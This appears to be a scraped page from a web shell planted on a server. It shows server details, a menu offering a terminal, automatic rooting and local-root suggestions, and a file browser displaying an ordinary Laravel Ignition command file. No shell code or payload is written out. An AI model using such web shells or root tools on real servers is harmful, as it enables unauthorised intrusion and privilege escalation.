Linux unitednationsplay.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
nginx/1.20.1
Server IP : 188.130.139.92 & Your IP : 18.188.161.182
Domains :
Cant Read [ /etc/named.conf ]
User : web
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
www /
1 /
vendor /
facade /
ignition /
src /
Commands /
Delete
Unzip
Name
Size
Permission
Date
Action
stubs
[ DIR ]
drwxr-xr-x
2020-11-17 16:24
SolutionMakeCommand.php
1.33
KB
-rw-r--r--
2020-11-17 16:24
SolutionProviderMakeCommand.php
1023
B
-rw-r--r--
2020-11-17 16:24
TestCommand.php
2.78
KB
-rw-r--r--
2020-11-17 16:24
Save
Rename
<?php namespace Facade\Ignition\Commands; use Exception; use Facade\FlareClient\Flare; use Illuminate\Config\Repository; use Illuminate\Console\Command; use Illuminate\Log\LogManager; class TestCommand extends Command { protected $signature = 'flare:test'; protected $description = 'Send a test notification to Flare'; /** @var \Illuminate\Config\Repository */ protected $config; public function handle(Repository $config) { $this->config = $config; $this->checkFlareKey(); if (app()->make('log') instanceof LogManager) { $this->checkFlareLogger(); } $this->sendTestException(); } protected function checkFlareKey() { $message = empty($this->config->get('flare.key')) ? '❌ Flare key not specified. Make sure you specify a value in the `key` key of the `flare` config file.' : '✅ Flare key specified'; $this->info($message); return $this; } public function checkFlareLogger() { $defaultLogChannel = $this->config->get('logging.default'); $activeStack = $this->config->get("logging.channels.{$defaultLogChannel}"); if (is_null($activeStack)) { $this->info("❌ The default logging channel `{$defaultLogChannel}` is not configured in the `logging` config file"); } if (! isset($activeStack['channels']) || ! in_array('flare', $activeStack['channels'])) { $this->info("❌ The logging channel `{$defaultLogChannel}` does not contain the 'flare' channel"); } if (is_null($this->config->get('logging.channels.flare'))) { $this->info('❌ There is no logging channel named `flare` in the `logging` config file'); } if ($this->config->get('logging.channels.flare.driver') !== 'flare') { $this->info('❌ The `flare` logging channel defined in the `logging` config file is not set to `flare`.'); } $this->info('✅ The Flare logging driver was configured correctly.'); return $this; } protected function sendTestException() { $testException = new Exception('This is an exception to test if the integration with Flare works.'); try { app(Flare::class)->sendTestReport($testException); $this->info(PHP_EOL); } catch (Exception $exception) { $this->warn('❌ We were unable to send an exception to Flare. Make sure that your key is correct and that you have a valid subscription. '.PHP_EOL.PHP_EOL.'For more info visit the docs on installing Flare in a Laravel project: https://flareapp.io/docs/ignition-for-laravel/introduction'); return; } $this->info('We tried to send an exception to Flare. Please check if it arrived!'); } }